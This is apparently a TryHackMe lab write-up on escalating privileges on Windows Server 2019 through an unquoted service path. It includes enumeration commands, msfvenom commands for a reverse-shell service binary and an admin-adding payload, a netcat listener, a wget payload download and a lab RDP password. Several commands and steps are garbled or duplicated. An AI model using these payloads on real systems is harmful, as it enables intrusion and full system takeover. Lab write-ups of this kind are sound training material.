TryHackMe penetration test raport, Quotient

General Info and Goals

Based on the description and room title, I guessed that we had to do privilege escalation using unquoted service paths.

The description for this room mentions the following:

> *"Grammar is important. Don't believe me? Just see what happens when you forget punctuation."*

This hints at Unquoted Service Paths being the method of privilege escalation to achieve the objective for this room.

Obtain the flag on the Administrator's desktop.

Tools used

- xfreerdp
- wmic service
- python3 -m http.server
- nc -lvnp 443

Process

a) **Initial Access**. The first step was to credentials have been provided to access the target via RDP as the user '*sage*'.

b) **Enumeration**. Once logged in, let's check take a look at the system information to see what we are dealing with. Using the command `systeminfo`.

We can check account information for '*sage*' and discover group memberships `net user sage`. We can also check the security privileges for this user `whoami /priv`.

Using a command we can use to list all unquoted service paths:

```
wmic service get name,displayname,pathname,startmode | findstr /i auto | findstr /i /v "c:\windows\\"
| findstr /i /v """
```

This can also be verified with the following command `sc qc "Development Service" state=all`.

With the path to the service executable not wrapped in quotes, Windows is unable to determine which part is the executable and if suffixes are parameters.

Next step in confirming whether this service is exploitable is to determine if standard users have "Write" access to the directory where the service is located, or any previous directory, which will allow us to insert a malicious executable.

Folder permissions can be checked using *icacls* (Integrity Control Access Control Lists) via the command-line `"C:\Program Files\Development Files"`

c) **Exploitation**. First, we'll need to create a reverse shell executable using *msfvenom* on our local Kali-host instance. We know the writeable path is "*C:\Program Files\Development Files*",

which means the executable must be named '*Devservice.exe*', as this is the next naming convention that will be checked by the system:

```
💀/home/kali ~ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.X.X LPORT=443 -f exe >
Devservice.exe
```

Jumping back to the Windows machine, let's *CD* into the vulnerable directory and use *WGET* to get the payload over.
Start a local Python HTTP server or Netcat simple server to host the payload:

```
python3 -m http.server
or
nc -lvnp 443
```

Jumping back to the Windows machine, let's *CD* into the vulnerable directory and use *WGET* to get the payload over.

```
cd 'C:\Program Files\Development files\'
wget http://10.10.104.42:8000/Devservice.exe -o "c:\program files\development files\Devservice.exe"
```

Now once you log back into the machine, just head over to *C:\Users\Administrator* and find that you can access it!

Results

a) We can use `xfreerdp` to connect, but use whatever works best for you.

```
💀/home/kali ~ xfreerdp /v:10.10.X.X /u:sage /p:'gr33ntHEphgK2&V'
```

b) This shows the target is an x64-based PC, running Microsoft Windows Server 2019 Standard (Build 17763), with a number of hotfixes installed.

From this we can determine that '*sage*' is a low-privileged user.

We get a single result named "Development Service" has an unquoted path.
Checking this via services shows it is set to run automatically, with SYSTEM-level privileges:

As the START_TYPE is set to AUTO_START this means that upon boot the system will check for the presence of an executable in the following order `C:\Program Files\Development Files\Devservice Files\Service.exe`.

The output from *icacls* shows that users have write access to the "*C:\Program Files\Development Files*" directory. We can now proceed with exploiting this service.

c) Now, from the query on '**Development Service**', we know that this service ***Auto-Starts***, meaning all we have to do is restart the machine and it should run on it's own.

As a POC, I tried to open the Administrator's folder in *C:\Users.* And as expected, it shows that we do not have permission to open it.

And onto the flag found on the desktop!

Summary

On a side note, there are a few other ways to get the flag, as I mentioned previously, you could use generate a reverse shell.

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=AttackerIP LHOST=PORT -f exe-service -o Devservice.exe
```

Or add another user to the admin group!

```
msfvenom -p windows/adduser USER=Admin PASS=Admin123 -f exe-service -o Devservice.exe
```